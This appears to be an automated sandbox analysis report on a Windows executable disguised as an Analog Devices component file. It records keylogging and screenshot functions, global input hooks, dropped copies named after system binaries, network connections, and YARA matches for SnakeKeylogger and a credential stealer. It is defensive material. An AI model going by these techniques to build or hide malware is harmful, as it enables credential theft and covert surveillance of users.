Source: unknown	Network traffic detected: HTTP traffic on port 64668 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64576
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64575
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64698
Source: unknown	Network traffic detected: HTTP traffic on port 64828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64590
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64592
Source: unknown	Network traffic detected: HTTP traffic on port 64795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64594
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64593
Source: unknown	Network traffic detected: HTTP traffic on port 64852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64585
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64584
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64587
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64586
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64589
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64588
Source: unknown	Network traffic detected: HTTP traffic on port 64588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64576 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64599 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64633 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64596
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64595
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64598
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64597
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64599
Source: unknown	Network traffic detected: HTTP traffic on port 64600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64667 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64611 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64622 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64660
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64780
Source: unknown	Network traffic detected: HTTP traffic on port 64796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64635 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64659
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64658
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64779
Source: unknown	Network traffic detected: HTTP traffic on port 64738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64658 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64651
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64893
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64653
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64655
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64654
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64775
Source: unknown	Network traffic detected: HTTP traffic on port 64587 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64778
Source: unknown	Network traffic detected: HTTP traffic on port 64862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64656
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64777
Source: unknown	Network traffic detected: HTTP traffic on port 64701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64669 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64671
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64670
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64669
Source: unknown	Network traffic detected: HTTP traffic on port 64712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64662
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64661
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64664
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64785
Source: unknown	Network traffic detected: HTTP traffic on port 64804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64663
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64666
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64665
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64668
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64667
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64788
Source: unknown	Network traffic detected: HTTP traffic on port 64691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64681
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64675
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64796
Source: unknown	Network traffic detected: HTTP traffic on port 64623 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64674
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64677
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64676
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64679
Source: unknown	Network traffic detected: HTTP traffic on port 64849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64678
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64799

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.81.194.202:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.206:443 -> 192.168.2.4:64569 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:64572 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:64574 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:64576 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.4:64584 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.4:64652 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.4:64778 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture screen (.Net source)

Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, COVID19.cs	.Net Code: TakeScreenshot
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, COVID19.cs	.Net Code: TakeScreenshot

Contains functionality to log keystrokes (.Net Source)

Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, COVID19.cs	.Net Code: VKCodeToUnicode
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, COVID19.cs	.Net Code: VKCodeToUnicode

Installs a global keyboard hook

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Windows user hook set: 1432 mouse C:\Windows\SYSTEM32\MSVBVM60.DLL	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Windows user hook set: 1620 mouse C:\Windows\SYSTEM32\MSVBVM60.DLL	Jump to behavior
Source: C:\Windows\System\explorer.exe	Windows user hook set: 6888 mouse C:\Windows\SYSTEM32\MSVBVM60.DLL	Jump to behavior
Source: C:\Windows\System\explorer.exe	Windows user hook set: 0 keyboard low level c:\windows\system\explorer.exe	Jump to behavior
Source: C:\Windows\System\explorer.exe	Windows user hook set: 0 mouse low level c:\windows\system\explorer.exe	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Windows user hook set: 3844 mouse C:\Windows\SYSTEM32\MSVBVM60.DLL	Jump to behavior
Source: C:\Windows\System\svchost.exe	Windows user hook set: 7192 mouse C:\Windows\SYSTEM32\MSVBVM60.DLL
Source: C:\Windows\System\spoolsv.exe	Windows user hook set: 7220 mouse C:\Windows\SYSTEM32\MSVBVM60.DLL
Source: C:\Windows\System\explorer.exe	Windows user hook set: 7768 mouse C:\Windows\SYSTEM32\MSVBVM60.DLL

Source: C:\Windows\System\explorer.exe

Windows user hook set: 0 mouse low level c:\windows\system\explorer.exe

Jump to behavior

Source: at.exe

Process created: 48

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 2120, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 7860, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

PE file has a writeable .text section

Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: icsys.icn.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: explorer.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: spoolsv.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: mrsys.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: svchost.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: stsys.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\icsys.icn.exe	File created: c:\windows\system\explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	File created: c:\windows\system\explorer.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: c:\windows\system\spoolsv.exe	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: c:\windows\system\spoolsv.exe	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	File created: c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	File created: c:\windows\system\svchost.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\icsys.icn.exe

File deleted: C:\Windows\System\explorer.exe

Jump to behavior

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Code function: 0_2_0041F830	0_2_0041F830
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Code function: 0_2_00416130	0_2_00416130
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Code function: 0_2_00422F50	0_2_00422F50
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_06D94D3B	1_2_06D94D3B
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_06DD1344	1_2_06DD1344
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_06DD33D0	1_2_06DD33D0
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_06DDB0F0	1_2_06DDB0F0
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_06DDB100	1_2_06DDB100
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_07B4A770	1_2_07B4A770
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_07B490B8	1_2_07B490B8
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_07B45F78	1_2_07B45F78
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_07B43E30	1_2_07B43E30
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_07B46488	1_2_07B46488
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_07B45B31	1_2_07B45B31
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_07B45B40	1_2_07B45B40
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_07B43A08	1_2_07B43A08
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_07B439D5	1_2_07B439D5
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 1_2_07B490AA	1_2_07B490AA
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A17118	32_2_01A17118
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A1C147	32_2_01A1C147
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A1A088	32_2_01A1A088
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A15362	32_2_01A15362
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A1D278	32_2_01A1D278
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A1C468	32_2_01A1C468
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A1C738	32_2_01A1C738
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A169A0	32_2_01A169A0
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A1E988	32_2_01A1E988
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A1CA08	32_2_01A1CA08
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A1CCD8	32_2_01A1CCD8
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A1CFAB	32_2_01A1CFAB
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A1F631	32_2_01A1F631
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A129E0	32_2_01A129E0
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A1E97B	32_2_01A1E97B
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A1FA88	32_2_01A1FA88
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 32_2_01A13E09	32_2_01A13E09

Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe, 00000000.00000000.1666293923.000000000042E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWin.exe vs ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe
Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Binary or memory string: OriginalFilenameWin.exe vs ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe
Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Binary or memory string: OriginalFilenameKfyX.exe8 vs ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
